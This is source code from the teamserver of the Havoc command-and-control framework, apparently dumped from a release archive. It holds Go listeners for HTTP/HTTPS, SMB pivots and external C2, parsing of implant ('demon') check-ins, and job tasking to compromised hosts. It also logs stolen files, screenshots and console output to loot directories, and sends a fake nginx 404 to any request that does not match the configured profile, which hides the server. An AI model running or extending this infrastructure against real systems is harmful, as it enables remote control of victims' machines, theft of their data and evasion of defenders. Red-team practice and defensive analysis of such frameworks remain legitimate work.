ListenerMark(ListenerName string, Mark string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Listener.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Listener.Mark Package.Body.Info = make(map[string]interface{}) Package.Body.Info["Name"] = ListenerName Package.Body.Info["Mark"] = Mark return Package } havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/service.go000066400000000000000000000014461467014221700235250ustar00rootroot00000000000000package events import ( "time" "Havoc/pkg/packager" ) var Service service func (service) AgentRegister(AgentData string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Service.Type Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.SubEvent = packager.Type.Service.RegisterAgent Package.Body.Info = map[string]interface{}{ "Agent": AgentData, } return Package } func (service) ListenerRegister(ListenerData string) packager.Package { return packager.Package{ Head: packager.Head{ Event: packager.Type.Service.Type, Time: time.Now().Format("02/01/2006 15:04:05"), }, Body: packager.Body{ SubEvent: packager.Type.Service.RegisterListener, Info: map[string]any{ "Listener": ListenerData, }, }, } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/events/teamserver.go000066400000000000000000000015411467014221700242360ustar00rootroot00000000000000package events import ( "time" "Havoc/pkg/packager" ) var Teamserver teamserver func (teamserver) Logger(text string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Teamserver.Type // Time Day Month Year Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.Info = make(map[string]interface{}) Package.Body.SubEvent = packager.Type.Teamserver.Log Package.Body.Info["Text"] = text return Package } func (teamserver) Profile(profile string) packager.Package { var Package packager.Package Package.Head.Event = packager.Type.Teamserver.Type // Time Day Month Year Package.Head.Time = time.Now().Format("02/01/2006 15:04:05") Package.Body.Info = make(map[string]interface{}) Package.Body.SubEvent = packager.Type.Teamserver.Log Package.Body.Info["profile"] = profile return Package } havoc-0.6~git20240910.69ce17c/teamserver/pkg/handlers/000077500000000000000000000000001467014221700220255ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/handlers/404.html000066400000000000000000000002221467014221700232160ustar00rootroot00000000000000 404 Not Found

    404 Not Found

    nginx
    havoc-0.6~git20240910.69ce17c/teamserver/pkg/handlers/external.go000066400000000000000000000034511467014221700242010ustar00rootroot00000000000000package handlers import ( "io" "net/http" "strings" "Havoc/pkg/colors" "Havoc/pkg/logger" "encoding/hex" "github.com/gin-gonic/gin" ) func NewExternal(WebSocketEngine any, Config ExternalConfig) *External { var external = new(External) external.engine = WebSocketEngine.(*gin.Engine) external.Config = Config return external } func (e *External) Start() { logger.Info("Started \"" + colors.Green(e.Config.Name) + "\" listener: " + colors.BlueUnderline("external://"+e.Config.Endpoint)) pk := e.Teamserver.ListenerAdd("", LISTENER_EXTERNAL, e) e.Teamserver.EventAppend(pk) e.Teamserver.EventBroadcast("", pk) } // Request // The way the external c2 handles or parses the request is like the HTTP listener. // Only one agent package can be parsed (at least for the demon agent). // for 3rd party agents you have more power over the packages since // the teamserver won't parse them. func (e *External) Request(ctx *gin.Context) { logger.Debug("ExternalC2 [" + e.Config.Name + "] client connected") Body, err := io.ReadAll(ctx.Request.Body) if err != nil { logger.Debug("Error while reading request: " + err.Error()) } logger.Debug(" - Exc2 Host : " + ctx.Request.Host) logger.Debug(" - Exc2 Body : \n" + hex.Dump(Body)) ExternalIP := strings.Split(ctx.Request.RemoteAddr, ":")[0] if Response, Success := parseAgentRequest(e.Teamserver, Body, ExternalIP); Success { _, err := ctx.Writer.Write(Response.Bytes()) if err != nil { logger.Debug("Failed to write to request: " + err.Error()) ctx.Status(http.StatusNotFound) return } } else { ctx.AbortWithStatus(http.StatusNotFound) return } ctx.AbortWithStatus(http.StatusOK) return } havoc-0.6~git20240910.69ce17c/teamserver/pkg/handlers/handlers.go000066400000000000000000000213631467014221700241610ustar00rootroot00000000000000package handlers import ( "bytes" //"encoding/hex" "fmt" "math/bits" "Havoc/pkg/agent" "Havoc/pkg/common/packer" "Havoc/pkg/common/parser" "Havoc/pkg/logger" ) // parseAgentRequest // parses the agent request and handles the given data. // return 2 types. // Response is the data/bytes once this function finished parsing the request. // Success is if the function was successful while parsing the agent request. // // Response byte.Buffer // Success bool func parseAgentRequest(Teamserver agent.TeamServer, Body []byte, ExternalIP string) (bytes.Buffer, bool) { var ( Header agent.Header Response bytes.Buffer err error ) Header, err = agent.ParseHeader(Body) if err != nil { logger.Debug("[Error] Header: " + err.Error()) return Response, false } if Header.Data.Length() < 4 { return Response, false } // handle this demon connection if the magic value matches if Header.MagicValue == agent.DEMON_MAGIC_VALUE { return handleDemonAgent(Teamserver, Header, ExternalIP) } // If it's not a Demon request then try to see if it's a 3rd party agent. return handleServiceAgent(Teamserver, Header, ExternalIP) } // handleDemonAgent // parse the demon agent request // return 2 types: // // Response bytes.Buffer // Success bool func handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) { var ( Agent *agent.Agent Response bytes.Buffer RequestID uint32 Command uint32 Packer *packer.Packer Build []byte err error ) /* check if the agent exists. */ if Teamserver.AgentExist(Header.AgentID) { /* get our agent instance based on the agent id */ Agent = Teamserver.AgentInstance(Header.AgentID) Agent.UpdateLastCallback(Teamserver) // while we can read a command and request id, parse new packages first_iter := true asked_for_jobs := false for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) { Command = uint32(Header.Data.ParseInt32()) RequestID = uint32(Header.Data.ParseInt32()) /* check if this is a 'reconnect' request */ if Command == agent.DEMON_INIT { logger.Debug(fmt.Sprintf("Agent: %x, Command: DEMON_INIT", Header.AgentID)) Packer = packer.NewPacker(Agent.Encryption.AESKey, Agent.Encryption.AESIv) Packer.AddUInt32(uint32(Header.AgentID)) Build = Packer.Build() _, err = Response.Write(Build) if err != nil { logger.Error(err) return Response, false } logger.Debug(fmt.Sprintf("reconnected %x", Build)) return Response, true } if first_iter { first_iter = false // if the message is not a reconnect, decrypt the buffer Header.Data.DecryptBuffer(Agent.Encryption.AESKey, Agent.Encryption.AESIv) } /* The agent is sending us the result of a task */ if Command != agent.COMMAND_GET_JOB { Parser := parser.NewParser(Header.Data.ParseBytes()) Agent.TaskDispatch(RequestID, Command, Parser, Teamserver) } else { asked_for_jobs = true } } /* if there is no job then just reply with a COMMAND_NOJOB */ if asked_for_jobs == false || len(Agent.JobQueue) == 0 { var NoJob = []agent.Job{{ Command: agent.COMMAND_NOJOB, Data: []interface{}{}, }} var Payload = agent.BuildPayloadMessage(NoJob, Agent.Encryption.AESKey, Agent.Encryption.AESIv) _, err = Response.Write(Payload) if err != nil { logger.Error("Couldn't write to HTTP connection: " + err.Error()) return Response, false } } else { /* if there is a job then send the Task Queue */ var ( job = Agent.GetQueuedJobs() payload = agent.BuildPayloadMessage(job, Agent.Encryption.AESKey, Agent.Encryption.AESIv) ) // write the response to the buffer _, err = Response.Write(payload) if err != nil { logger.Error("Couldn't write to HTTP connection: " + err.Error()) return Response, false } // TODO: move this to its own function // show bytes for pivot var CallbackSizes = make(map[uint32][]byte) for j := range job { if len(job[j].Data) >= 1 { switch job[j].Command { case agent.COMMAND_PIVOT: if job[j].Data[0] == agent.DEMON_PIVOT_SMB_COMMAND { var ( TaskBuffer = job[j].Data[2].([]byte) PivotAgentID = int(job[j].Data[1].(uint32)) PivotInstance *agent.Agent ) for { var ( Parser = parser.NewParser(TaskBuffer) CommandID = 0 SubCommandID = 0 ) Parser.SetBigEndian(false) Parser.ParseInt32() Parser.ParseInt32() CommandID = Parser.ParseInt32() // Socks5 over SMB agents yield a CommandID equal to 0 if CommandID != agent.COMMAND_PIVOT && CommandID != 0 { //CallbackSizes[uint32(PivotAgentID)] = append(CallbackSizes[job[j].Data[1].(uint32)], TaskBuffer...) break } /* get an instance of the pivot */ PivotInstance = Teamserver.AgentInstance(PivotAgentID) if PivotInstance != nil { break } /* parse the task from the parser */ TaskBuffer = Parser.ParseBytes() /* create a new parse for the parsed task */ Parser = parser.NewParser(TaskBuffer) Parser.DecryptBuffer(PivotInstance.Encryption.AESKey, PivotInstance.Encryption.AESIv) if Parser.Length() >= 4 { SubCommandID = Parser.ParseInt32() SubCommandID = int(bits.ReverseBytes32(uint32(SubCommandID))) if SubCommandID == agent.DEMON_PIVOT_SMB_COMMAND { PivotAgentID = Parser.ParseInt32() PivotAgentID = int(bits.ReverseBytes32(uint32(PivotAgentID))) TaskBuffer = Parser.ParseBytes() continue } else { CallbackSizes[uint32(PivotAgentID)] = append(CallbackSizes[job[j].Data[1].(uint32)], TaskBuffer...) break } } } } break case agent.COMMAND_SOCKET: break case agent.COMMAND_FS: break case agent.COMMAND_MEM_FILE: break default: //logger.Debug("Default") /* build the task payload */ payload = agent.BuildPayloadMessage([]agent.Job{job[j]}, Agent.Encryption.AESKey, Agent.Encryption.AESIv) /* add the size of the task to the callback size */ CallbackSizes[uint32(Header.AgentID)] = append(CallbackSizes[uint32(Header.AgentID)], payload...) break } } else { CallbackSizes[uint32(Header.AgentID)] = append(CallbackSizes[uint32(Header.AgentID)], payload...) } } for agentID, buffer := range CallbackSizes { Agent = Teamserver.AgentInstance(int(agentID)) if Agent != nil { Teamserver.AgentCallbackSize(Agent, len(buffer)) } } CallbackSizes = nil } } else { logger.Debug("Agent does not exists. hope this is a register request") var ( Command = Header.Data.ParseInt32() ) /* TODO: rework this. */ if Command == agent.DEMON_INIT { // RequestID, unused on DEMON_INIT Header.Data.ParseInt32() Agent = agent.ParseDemonRegisterRequest(Header.AgentID, Header.Data, ExternalIP) if Agent == nil { return Response, false } Agent.Info.MagicValue = Header.MagicValue Agent.Info.Listener = nil /* TODO: pass here the listener instance/name */ Teamserver.AgentAdd(Agent) Teamserver.AgentSendNotify(Agent) Packer = packer.NewPacker(Agent.Encryption.AESKey, Agent.Encryption.AESIv) Packer.AddUInt32(uint32(Header.AgentID)) Build = Packer.Build() _, err = Response.Write(Build) if err != nil { logger.Error(err) return Response, false } logger.Debug("Finished request") } else { logger.Debug("Is not register request. bye...") return Response, false } } return Response, true } // handleServiceAgent // handles and parses a service agent request // return 2 types: // // Response bytes.Buffer // Success bool func handleServiceAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) { var ( Response bytes.Buffer AgentData any Agent *agent.Agent Task []byte err error ) /* search if a service 3rd party agent was registered with this MagicValue */ if !Teamserver.ServiceAgentExist(Header.MagicValue) { return Response, false } Agent = Teamserver.AgentInstance(Header.AgentID) if Agent != nil { AgentData = Agent.ToMap() } // Update Callback time if Teamserver.AgentExist(Header.AgentID) { Agent.UpdateLastCallback(Teamserver) } Task = Teamserver.ServiceAgent(Header.MagicValue).SendResponse(AgentData, Header) //logger.Debug("Response:\n", hex.Dump(Task)) _, err = Response.Write(Task) if err != nil { return Response, false } return Response, true } // notifyTaskSize // notifies every connected operator client how much we send to agent. func notifyTaskSize(teamserver agent.TeamServer) { } havoc-0.6~git20240910.69ce17c/teamserver/pkg/handlers/http.go000066400000000000000000000162221467014221700233360ustar00rootroot00000000000000package handlers import ( "context" //"encoding/hex" "io" "log" "net/http" "os" "regexp" "strings" "time" "fmt" "Havoc/pkg/colors" "Havoc/pkg/common/certs" "Havoc/pkg/common" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/gin-gonic/gin" ) func NewConfigHttp() *HTTP { var config = new(HTTP) config.GinEngine = gin.New() return config } func (h *HTTP) generateCertFiles() bool { var ( err error ListenerName string ListenerPath string ) reg, err := regexp.Compile("[^a-zA-Z0-9]+") if err != nil { log.Fatal(err) } ListenerName = reg.ReplaceAllString(h.Config.Name, "") ListenerPath = logr.LogrInstance.ListenerPath + "/" + ListenerName + "/" logger.Debug("Listener Path:", ListenerPath) if _, err := os.Stat(ListenerPath); os.IsNotExist(err) { if err = os.Mkdir(ListenerPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr listener " + h.Config.Name + " folder: " + err.Error()) return false } } h.TLS.CertPath = ListenerPath + "server.crt" h.TLS.KeyPath = ListenerPath + "server.key" h.TLS.Cert, h.TLS.Key, err = certs.HTTPSGenerateRSACertificate(common.GetInterfaceIpv4Addr(h.Config.HostBind)) err = os.WriteFile(h.TLS.CertPath, h.TLS.Cert, 0644) if err != nil { logger.Error("Couldn't save server cert file: " + err.Error()) return false } err = os.WriteFile(h.TLS.KeyPath, h.TLS.Key, 0644) if err != nil { logger.Error("Couldn't save server key file: " + err.Error()) return false } logger.Debug("Successful generated tls certifications") return true } // fake nginx 404 page func (h *HTTP) fake404(ctx *gin.Context) { ctx.Writer.WriteHeader(http.StatusNotFound) html, err := os.ReadFile("teamserver/pkg/handlers/404.html") if err != nil { logger.Debug("Could not read fake 404 page: " + err.Error()) return } ctx.Header("Server", "nginx") ctx.Header("Content-Type", "text/html") ctx.Header("X-Havoc", "true") ctx.Writer.Write(html) } func (h *HTTP) request(ctx *gin.Context) { var ExternalIP string var MissingHdr string Body, err := io.ReadAll(ctx.Request.Body) if err != nil { logger.Debug("Error while reading request: " + err.Error()) } if h.Config.BehindRedir { ExternalIP = ctx.Request.Header.Get("X-Forwarded-For") } else { ExternalIP = strings.Split(ctx.Request.RemoteAddr, ":")[0] } /* logger.Debug("POST " + ctx.Request.RequestURI) logger.Debug("Host: " + ctx.Request.Host) for name, values := range ctx.Request.Header { for _, value := range values { logger.Debug(name + ": " + value) } } logger.Debug("\n" + hex.Dump(Body)) */ // check that the headers defined on the profile are present valid := true IgnoreHeaders := [2]string{"Connection", "Accept-Encoding"} for _, Header := range h.Config.Headers { NameValue := strings.Split(Header, ": ") if len(NameValue) > 1 { ignore := false for _, IgnoreHeader := range IgnoreHeaders { if strings.ToLower(NameValue[0]) == strings.ToLower(IgnoreHeader) { ignore = true break } } if ignore == false { // NOTE: the header value comparison is case insensitive if strings.ToLower(ctx.Request.Header.Get(NameValue[0])) != strings.ToLower(NameValue[1]) { MissingHdr = NameValue[0] + ": " + ctx.Request.Header.Get(NameValue[0]) valid = false break } } } } if valid == false { logger.Warn(fmt.Sprintf("got a request with an invalid header: %s", MissingHdr)) h.fake404(ctx) return } // check that the URI is defined on the profile if len(h.Config.Uris) > 0 && ! (len(h.Config.Uris) == 1 && h.Config.Uris[0] == "") { valid = false for _, Uri := range h.Config.Uris { if ctx.Request.RequestURI == Uri { valid = true break } } if valid == false { logger.Warn(fmt.Sprintf("got a request with an invalid request path: %s", ctx.Request.RequestURI)) h.fake404(ctx) return } } // check that the User-Agent is valid if h.Config.UserAgent != "" { if h.Config.UserAgent != ctx.Request.UserAgent() { logger.Warn(fmt.Sprintf("got a request with an invalid user agent: %s", ctx.Request.UserAgent())) h.fake404(ctx) return } } // TODO: should we check the Host header? // the value might change depending // on the redirector setup for _, Header := range h.Config.Response.Headers { var hdr = strings.Split(Header, ":") if len(hdr) > 1 { ctx.Header(hdr[0], hdr[1]) } } if Response, Success := parseAgentRequest(h.Teamserver, Body, ExternalIP); Success { _, err := ctx.Writer.Write(Response.Bytes()) if err != nil { logger.Debug("Failed to write to request: " + err.Error()) h.fake404(ctx) return } } else { logger.Warn("failed to parse agent request") h.fake404(ctx) return } ctx.AbortWithStatus(http.StatusOK) return } func (h *HTTP) Start() { logger.Debug("Setup HTTP/s Server") if len(h.Config.Hosts) == 0 && h.Config.PortBind == "" && h.Config.Name == "" { logger.Error("HTTP Hosts/Port/Name not set") return } h.GinEngine.POST("/*endpoint", h.request) h.GinEngine.GET("/*endpoint", h.fake404) h.Active = true if h.Config.Secure { // TODO: only generate certs if h.Config.Cert is empty if h.generateCertFiles() { logger.Info("Started \"" + colors.Green(h.Config.Name) + "\" listener: " + colors.BlueUnderline("https://"+common.GetInterfaceIpv4Addr(h.Config.HostBind)+":"+h.Config.PortBind)) pk := h.Teamserver.ListenerAdd("", LISTENER_HTTP, h) h.Teamserver.EventAppend(pk) h.Teamserver.EventBroadcast("", pk) go func() { var ( CertPath = h.TLS.CertPath KeyPath = h.TLS.KeyPath ) h.Server = &http.Server{ Addr: common.GetInterfaceIpv4Addr(h.Config.HostBind) + ":" + h.Config.PortBind, Handler: h.GinEngine, } if h.Config.Cert.Cert != "" && h.Config.Cert.Key != "" { CertPath = h.Config.Cert.Cert KeyPath = h.Config.Cert.Key } err := h.Server.ListenAndServeTLS(CertPath, KeyPath) if err != nil { if err == http.ErrServerClosed { h.Active = false } else { logger.Error("Couldn't start HTTPs handler: " + err.Error()) h.Active = false h.Teamserver.EventListenerError(h.Config.Name, err) } } }() } else { logger.Error("Failed to generate server tls certifications") } } else { logger.Info("Started \"" + colors.Green(h.Config.Name) + "\" listener: " + colors.BlueUnderline("http://"+common.GetInterfaceIpv4Addr(h.Config.HostBind)+":"+h.Config.PortBind)) pk := h.Teamserver.ListenerAdd("", LISTENER_HTTP, h) h.Teamserver.EventAppend(pk) h.Teamserver.EventBroadcast("", pk) go func() { h.Server = &http.Server{ Addr: common.GetInterfaceIpv4Addr(h.Config.HostBind) + ":" + h.Config.PortBind, Handler: h.GinEngine, } err := h.Server.ListenAndServe() if err != nil { logger.Error("Couldn't start HTTP handler: " + err.Error()) h.Active = false h.Teamserver.EventListenerError(h.Config.Name, err) } }() } } func (h *HTTP) Stop() error { ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() if err := h.Server.Shutdown(ctx); err != nil { return err } // catching ctx.Done(). timeout of 5 seconds. select { case <-ctx.Done(): logger.Debug("timeout of 5 seconds.") } return nil } havoc-0.6~git20240910.69ce17c/teamserver/pkg/handlers/smb.go000066400000000000000000000005761467014221700231450ustar00rootroot00000000000000package handlers import ( "Havoc/pkg/colors" "Havoc/pkg/logger" ) func NewPivotSmb() *SMB { var Smb = new(SMB) return Smb } func (s *SMB) Start() { logger.Info("Started \"" + colors.Green(s.Config.Name) + "\" listener") pk := s.Teamserver.ListenerAdd("", LISTENER_PIVOT_SMB, s) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/handlers/types.go000066400000000000000000000031341467014221700235210ustar00rootroot00000000000000package handlers import ( "net/http" "Havoc/pkg/agent" "github.com/gin-gonic/gin" ) type ( HTTPConfig struct { Name string KillDate int64 WorkingHours string Hosts []string HostBind string Methode string HostRotation string PortBind string PortConn string BehindRedir bool UserAgent string Headers []string Uris []string HostHeader string Secure bool Cert struct { Cert string Key string } Proxy struct { Enabled bool Type string Host string Port string Username string Password string } Response struct { Headers []string } } ExternalConfig struct { Name string Endpoint string } SMBConfig struct { Name string PipeName string KillDate int64 WorkingHours string } ) type ( HTTP struct { Config HTTPConfig GinEngine *gin.Engine Server *http.Server TLS struct { Cert []byte Key []byte CertPath string KeyPath string } Teamserver agent.TeamServer Active bool } SMB struct { Config SMBConfig Teamserver agent.TeamServer ParentChild []struct { Parent any Child any } } External struct { Config ExternalConfig engine *gin.Engine Teamserver agent.TeamServer Data map[string]any } Service struct { Service any Info map[string]any } ) const ( LISTENER_HTTP = 1 LISTENER_PIVOT_SMB = 2 LISTENER_EXTERNAL = 3 LISTENER_SERVICE = 4 AGENT_HTTPS = "Https" AGENT_HTTP = "Http" AGENT_EXTERNAL = "External" AGENT_PIVOT_SMB = "Smb" ) havoc-0.6~git20240910.69ce17c/teamserver/pkg/logger/000077500000000000000000000000001467014221700215045ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/logger/global.go000066400000000000000000000022121467014221700232700ustar00rootroot00000000000000package logger import ( "io" "log" "os" ) var LoggerInstance *Logger func init() { LoggerInstance = NewLogger(os.Stdout) } func NewLogger(StdOut io.Writer) *Logger { var logger = new(Logger) logger.STDOUT = os.Stdout logger.STDERR = os.Stderr logger.showTime = true logger.debug = false logger.log = log.New(StdOut, "", 0) return logger } func Info(args ...interface{}) { LoggerInstance.Info(args...) } func Good(args ...interface{}) { LoggerInstance.Good(args...) } func Debug(args ...interface{}) { LoggerInstance.Debug(args...) } func DebugError(args ...interface{}) { LoggerInstance.DebugError(args...) } func Warn(args ...interface{}) { LoggerInstance.Warn(args...) } func Error(args ...interface{}) { LoggerInstance.Error(args...) } func Fatal(args ...interface{}) { LoggerInstance.Fatal(args...) } func Panic(args ...interface{}) { LoggerInstance.Panic(args...) } func SetDebug(enable bool) { LoggerInstance.SetDebug(enable) } func ShowTime(time bool) { LoggerInstance.ShowTime(time) } func SetStdOut(w io.Writer) { LoggerInstance.log.SetOutput(w) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/logger/logger.go000066400000000000000000000075441467014221700233240ustar00rootroot00000000000000package logger import ( "fmt" "log" "os" "runtime" "strconv" "strings" "time" "Havoc/pkg/colors" ) func FunctionTrace() (string, int) { var ( frame runtime.Frame frames *runtime.Frames caller = make([]uintptr, 15) callNums int ) callNums = runtime.Callers(2, caller) frames = runtime.CallersFrames(caller[:callNums]) frame, _ = frames.Next() frame, _ = frames.Next() frame, _ = frames.Next() return frame.Function, frame.Line } type Logger struct { STDOUT *os.File STDERR *os.File log *log.Logger showTime bool debug bool } func (logger *Logger) Info(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Blue("INFO") + "] ") } else { logger.log.SetPrefix("[" + colors.Blue("INFO") + "] ") } logger.log.Println(args...) } func (logger *Logger) Good(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Green("GOOD") + "] ") } else { logger.log.SetPrefix("[" + colors.Green("GOOD") + "] ") } logger.log.Println(args...) } func (logger *Logger) Debug(args ...interface{}) { var Trace, Line = FunctionTrace() var Functions = strings.Split(Trace, "/") if logger.debug { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Yellow("DBUG") + "] [" + colors.BlueUnderline(Functions[len(Functions)-1]+":"+strconv.Itoa(Line)) + "]: ") } else { logger.log.SetPrefix("[" + colors.Yellow("DBUG") + "] [" + Functions[len(Functions)-1] + ":" + fmt.Sprintf("%03d", Line) + "]: ") } logger.log.Println(args...) } } func (logger *Logger) DebugError(args ...interface{}) { var Trace, Line = FunctionTrace() var Functions = strings.Split(Trace, "/") if logger.debug { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.BoldRed("DBER") + "] [" + colors.BlueUnderline(Functions[len(Functions)-1]+":"+strconv.Itoa(Line)) + "]: ") } else { logger.log.SetPrefix("[" + colors.BoldRed("DBER") + "] [" + Functions[len(Functions)-1] + ":" + fmt.Sprintf("%03d", Line) + "]: ") } logger.log.Println(args...) } } func (logger *Logger) Warn(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Yellow("WARN") + "] ") } else { logger.log.SetPrefix("[" + colors.Yellow("WARN") + "] ") } logger.log.Println(args...) } func (logger *Logger) Error(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.Red("ERRO") + "] ") } else { logger.log.SetPrefix("[" + colors.Red("ERRO") + "] ") } logger.log.Println(args...) } func (logger *Logger) Fatal(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.BoldRed("FATA") + "] ") } else { logger.log.SetPrefix("[" + colors.BoldRed("FATA") + "] ") } logger.log.Println(args...) os.Exit(1) } func (logger *Logger) Panic(args ...interface{}) { if logger.showTime { logger.log.SetPrefix("[" + colors.Green(time.Now().Format("15:04:05")) + "] [" + colors.BoldRed("PANIC") + "] ") } else { logger.log.SetPrefix("[" + colors.BoldRed("PANIC") + "] ") } logger.log.Println(args...) panic(args) } func (logger *Logger) SetDebug(enable bool) { logger.debug = enable } func (logger *Logger) ShowTime(time bool) { logger.showTime = time } havoc-0.6~git20240910.69ce17c/teamserver/pkg/logr/000077500000000000000000000000001467014221700211705ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/logr/demon.go000066400000000000000000000141031467014221700226200ustar00rootroot00000000000000package logr import ( "errors" "fmt" "log" "os" "path/filepath" "strings" "Havoc/pkg/common" "Havoc/pkg/logger" ) func (l Logr) AddAgentInput(AgentType, AgentID, User, TaskID, Input string, time string) { var ( DemonPath = l.AgentPath + "/" + AgentID DemonLogFile = DemonPath + "/Console_" + AgentID + ".log" InputString string ) // check if we don't have a path traversal path := filepath.Clean(DemonLogFile) if !strings.HasPrefix(path, DemonPath) { logger.Error("File didn't started with agent loot path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + AgentID + " folder: " + err.Error()) return } } f, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } InputString = fmt.Sprintf("\n[Time: %v] [User: %v] [TaskID: %v] %v => %v\n", time, User, TaskID, AgentType, Input) _, err = f.Write([]byte(InputString)) if err != nil { logger.Error("Failed to write to File [" + DemonLogFile + "]: " + err.Error()) return } } func (l Logr) AddAgentRaw(AgentID, Raw string) { var ( DemonPath = l.AgentPath + "/" + AgentID DemonLogFile = DemonPath + "/Console_" + AgentID + ".log" ) // check if we don't have a path traversal path := filepath.Clean(DemonLogFile) if !strings.HasPrefix(path, DemonPath) { logger.Error("File didn't started with agent loot path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + AgentID + " folder: " + err.Error()) return } } f, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } _, err = f.Write([]byte(Raw)) if err != nil { logger.Error("Failed to write to File [" + DemonLogFile + "]: " + err.Error()) return } } func (l Logr) DemonAddOutput(DemonID string, Output map[string]string, time string) { var ( DemonPath = l.AgentPath + "/" + filepath.Clean(DemonID) DemonLogFile = DemonPath + "/Console_" + DemonID + ".log" ) // check if we don't have a path traversal path := filepath.Clean(DemonLogFile) if !strings.HasPrefix(path, DemonPath) { logger.Error("File didn't started with agent loot path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) return } } f, err := os.OpenFile(DemonLogFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { log.Fatal(err) } var OutputString string if len(Output["Message"]) > 0 { if Output["Type"] == "Good" { OutputString = fmt.Sprintf("[%v] [+] %v\n", time, Output["Message"]) } else if Output["Type"] == "Error" { OutputString = fmt.Sprintf("[%v] [-] %v\n", time, Output["Message"]) } else if Output["Type"] == "Info" { OutputString = fmt.Sprintf("[%v] [*] %v\n", time, Output["Message"]) } else { OutputString = fmt.Sprintf("[%v] [^] %v\n", time, Output["Message"]) } } if len(Output["Output"]) > 0 { OutputString += Output["Output"] } _, err = f.Write([]byte(OutputString)) if err != nil { logger.Error("Failed to write to File [" + DemonLogFile + "]: " + err.Error()) return } } func (l Logr) DemonAddDownloadedFile(DemonID, FileName string, FileBytes []byte) { var ( DemonPath = l.AgentPath + "/" + DemonID DemonDownloadDir = DemonPath + "/Download" DemonDownload = DemonDownloadDir + "/" + FileName ) // check if we don't have a path traversal path := filepath.Clean(DemonDownload) if !strings.HasPrefix(path, DemonDownloadDir) { logger.Error("File didn't started with agent download path. abort") return } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) return } } if _, err := os.Stat(DemonDownloadDir); os.IsNotExist(err) { if err = os.Mkdir(DemonDownloadDir, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " download folder: " + err.Error()) return } } f, err := os.Create(DemonDownload) if err != nil { logger.Error("Failed to create file: " + err.Error()) return } defer f.Close() _, err = f.Write(FileBytes) if err != nil { logger.Error("Failed to write png file: " + err.Error()) return } } func (l Logr) DemonSaveScreenshot(DemonID, Name string, BmpBytes []byte) error { var ( DemonPath = l.AgentPath + "/" + DemonID DemonScreenshotDir = DemonPath + "/Screenshots" DemonScreenshot = DemonScreenshotDir + "/" + Name ) // check if we don't have a path traversal path := filepath.Clean(DemonScreenshot) if !strings.HasPrefix(path, DemonScreenshotDir) { logger.Error("File didn't started with agent screenshot path. abort") return errors.New("file didn't started with agent screenshot path. abort") } if _, err := os.Stat(DemonPath); os.IsNotExist(err) { if err = os.Mkdir(DemonPath, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) return errors.New("Failed to create Logr demon " + DemonID + " folder: " + err.Error()) } } if _, err := os.Stat(DemonScreenshotDir); os.IsNotExist(err) { if err = os.Mkdir(DemonScreenshotDir, os.ModePerm); err != nil { logger.Error("Failed to create Logr demon " + DemonID + " screenshot folder: " + err.Error()) return errors.New("Failed to create Logr demon " + DemonID + " screenshot folder: " + err.Error()) } } f, err := os.Create(DemonScreenshot) if err != nil { logger.Error("Failed to create file: " + err.Error()) return errors.New("Failed to create file: " + err.Error()) } defer f.Close() _, err = f.Write(common.Bmp2Png(BmpBytes)) if err != nil { logger.Error("Failed to write png file: " + err.Error()) return errors.New("Failed to write png file: " + err.Error()) } return nil } havoc-0.6~git20240910.69ce17c/teamserver/pkg/logr/listener.go000066400000000000000000000001141467014221700233400ustar00rootroot00000000000000package logr func (l Logr) ListenerAddKeyCert(Name, Key, Cert string) { } 